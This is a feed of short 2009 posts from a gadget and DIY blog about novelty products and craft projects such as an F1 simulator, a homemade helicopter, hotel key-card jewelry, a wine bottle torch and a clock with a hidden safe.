Wow, here’s another great idea for growing a garden on a chair. If you have some skills with custom acrylic designs, this might be just the perfect way to use your creativity while saving space for your plants.

For those who like laying back in the garden and leaning against a sturdy tree or bush while quietly reading a book, this grow-it-yourself natural wood furniture concept might readily take root in your imagination. Best of all, you can watch while your favorite new seat grows right up from the ground in your own backyard or from a pot on the patio or porch.

via dornob

Brought to you by: Zedomax.com

Garden DIY – How to Make a Growing Garden Green Chair!

Boy and their toys

David Allen — Sat, 15 Aug 2009 19:01:10 +0000

Some people have everything that they want, so what do you get the person that has everything? Well there is always this F1 simulator, as you can see from the images this is some serious kit and actually gives the user a sense of reality in the cockpit of an F1 car.

The main feature is the forty four inches worth of LCD monitor combined with a Logitech G25 steering wheel, with pedals and feedback. The system runs on an Armaroli Computer V12, this includes a motherboard Gigabyte GA-M650SLI-DS4, two video boards, NVIDIA GForce 8600GT and topped off with an Intel Core 2 Duo E8500.

Priced at $34,500

Source [Born Rich]

Brought to you by: Zedomax.com

Boy and their toys

DIY Helicopter

David Allen — Sat, 15 Aug 2009 18:52:11 +0000

Now if the characters on “Lost” see this before they crashed then they would have had no problems getting off the island. This is a cool DIY helicopter that has been made from bit of wood, steel pipe and an old motor bike engine. The builder is twenty year old farmer who claims that the machine could reach a height of 2,600 feet.

However, of course, this is China and you just cannot build your own helicopter and fly around the countryside, no matter how rural you are. To his credit he estimates that the total cost for this machine is around $1,600, which is considerably cheaper that a real helicopter.

Source [Coolest Gadgets]

Brought to you by: Zedomax.com

DIY Helicopter

Front and rear parking system

David Allen — Sat, 15 Aug 2009 18:00:37 +0000

Parking a car in a tight spot can be a right difficult task sometimes. This is probably why a lot of the more expensive cars have parking sensors built in, but not all of us have that luxury and so have to do with our judgement, which can sometimes be a bit risky. However, this parking system will help the driver park their car with ease.

Product Features

DC 12V Application Only

Colour LED & Digital Display Rear Mirror

Universal Clip On Rear Mirror

Two Ultrasonic Front Sensors

Four Ultrasonic Rear Sensors

Technical Details

Brand Name: Pyle

Model: PLPSE6

Priced at $79.51

Source [Amazon]

Brought to you by: Zedomax.com

Front and rear parking system

Earth DIY – HOW TO Make Hotel Magnetic Key Jewelry!

max — Sat, 15 Aug 2009 17:51:49 +0000

This one’s for all those ladies out there who have been traveling often, learn how to make/recycle hotel magnetic key jewelry! I know most hotels throw away millions of these plastic magnetic keys on a daily basis, here’s a great way to help the environment while making you look more beautiful.

We cut the cards into various small shapes. I then used a leather punch (because it was handy and I didn’t feel like messing with the drill) to make holes in the top of the shapes. We then attached the jump rings and ear wires with needle nose pliers. Voila! Custom jewelry!

Brought to you by: Zedomax.com

Earth DIY – HOW TO Make Hotel Magnetic Key Jewelry!

Earth DIY – HOW TO Make Wine Bottle Torch!

max — Sat, 15 Aug 2009 17:35:42 +0000

I have to confess that I am an avid wine bottle drinker and throw away many wine bottles daily. Well, here’s a great DIY that shows you how to turn/re-make your old wine bottles into a classy wine bottle torch!

this clever outdoor diy idea comes from erik anderson of gerardot & co.- a creative branding and design agency in indianapolis. erik was kind enough to share a fantastic project that turns an everyday bottle into a modern backyard tiki torch.

via designsponge

Brought to you by: Zedomax.com

Earth DIY – HOW TO Make Wine Bottle Torch!

Mirror DIY – How to Make Etched Mirrors!

max — Fri, 14 Aug 2009 19:34:16 +0000

Here’s a really cool DIY that shows you how to make etched mirrors. It would make a great gift for your family and friends. I might even make one myself real soon here with Zedomax.com logo etched so I can take a look at it everyday.

Doing glass or mirror etching is actually very simple. Once you find someone who can output your art into vinyl, it’s a very short process and the results are pretty amazing. I was even impressed upon seeing the final result!

via weddingbeepro

Brought to you by: Zedomax.com

Mirror DIY – How to Make Etched Mirrors!

No need for different coloured pens anymore

David Allen — Thu, 13 Aug 2009 14:19:09 +0000

Remember those days when fibre tip pens or coloured crayons filled the school pencil cases? Well those days could well and truly behind us now. As this is a pen that can take the colour from any item and then make, turn the ink inside the pen into that shade.

It sounds remarkable and of course, it is, this pen does the job of a hundred coloured pens, pencils or crayons. This colour picker pen is the brain child of the Korean designer Jinsu Park and although it is just a concept idea, you could really see these in the stores one day.

Source [Techna Bob]

Brought to you by: Zedomax.com

No need for different coloured pens anymore

The Mint Calculator

David Allen — Thu, 13 Aug 2009 14:07:59 +0000

From the title, you are thinking that I have made a typo there, but no, I have, not this actually is a calculator that looks like one of the old fashioned typewriters that we can see in old movies and photos from the 40’s.

This is the Mint Calculator, it may be powered but it still makes those lovely sounds that must have driven the people mad who worked in the offices of the time, but for some reason the sound is quite pleasant. Unfortunately, there are no prices or news of availability.

Source [Gizmodiva]

Brought to you by: Zedomax.com

The Mint Calculator

The solar powered coffee machine

David Allen — Thu, 13 Aug 2009 13:43:12 +0000

There are plenty of coffee machines around from different designs to different ways of grinding and making coffee, but not many of them are solar powered. The use of hot or boiling water means that power usage is one the highest amount in the home, so anything that can change that would be welcomed.

Obviously there are some serious questions that need to be answered that are related directly to this machine, they include how long does it take to boil the water and how many cups of coffee does once cycle make?

Source [Ubergizmo]

Brought to you by: Zedomax.com

The solar powered coffee machine

The seven day clock

David Allen — Thu, 13 Aug 2009 13:21:21 +0000

Some people measure time by hours and minutes, while other measure their time in days and those people is what this clock has been designed for. It is a seven day clock that only shows the days instead of the hours and minutes. You can just about make out what the time is by this clock but not with any accuracy.

Product Features

Makes the perfect gift for anyone who is fortunate enough to measure life in days, not hours.

DayClocks are designed to be beautiful, as well as functional.

The DayClock is a great gift idea in gift giving.

Along with being a fun gift to receive, it provides great functionality for those on the road or on a “retired” schedule.

The lines dividing the days indicates midnight; the day hand moves 2.14 degrees every hour.

Priced at $34.97

Source [Amazon]

Brought to you by: Zedomax.com

The seven day clock

The safe inside a clock

David Allen — Thu, 13 Aug 2009 12:57:33 +0000

Where do you place your valuables? Under the bed, in a box or simple just left lying around most of these ways of looking after your goodies are not really safe at all. That is where this clock comes in handy because it contains a hidden wall safe, just open up the front and place your goods inside.

Technical Details

Wall Clock with Hidden Safe!

Hide your valuables!

Perfect for jewellery, cash and more!

Priced at $17.45

Source [Amazon]

Brought to you by: Zedomax.com

The safe inside a clock

The Spy Gear alarm kit

David Allen — Thu, 13 Aug 2009 07:08:03 +0000

This is a nice little alarm kit, it can be used in conjunction with doors etc, as this comes in two parts, they make a contact when closed but when the contact is broken the alarm will sold off and the break in will be registered on the log with a unique date stamp. The system can be by passed with a personalised card key to get personal security.

Product Features

Card-key alarm with timestamp.

Protect your stuff from intruders.

Alarm sounds when break-in occurs.

Secure card-key access.

Spy play promotes imaginative and abstract thinking skills

Priced at $18.98

Source [Spy Gear Alarm]

Brought to you by: Zedomax.com

The Spy Gear alarm kit

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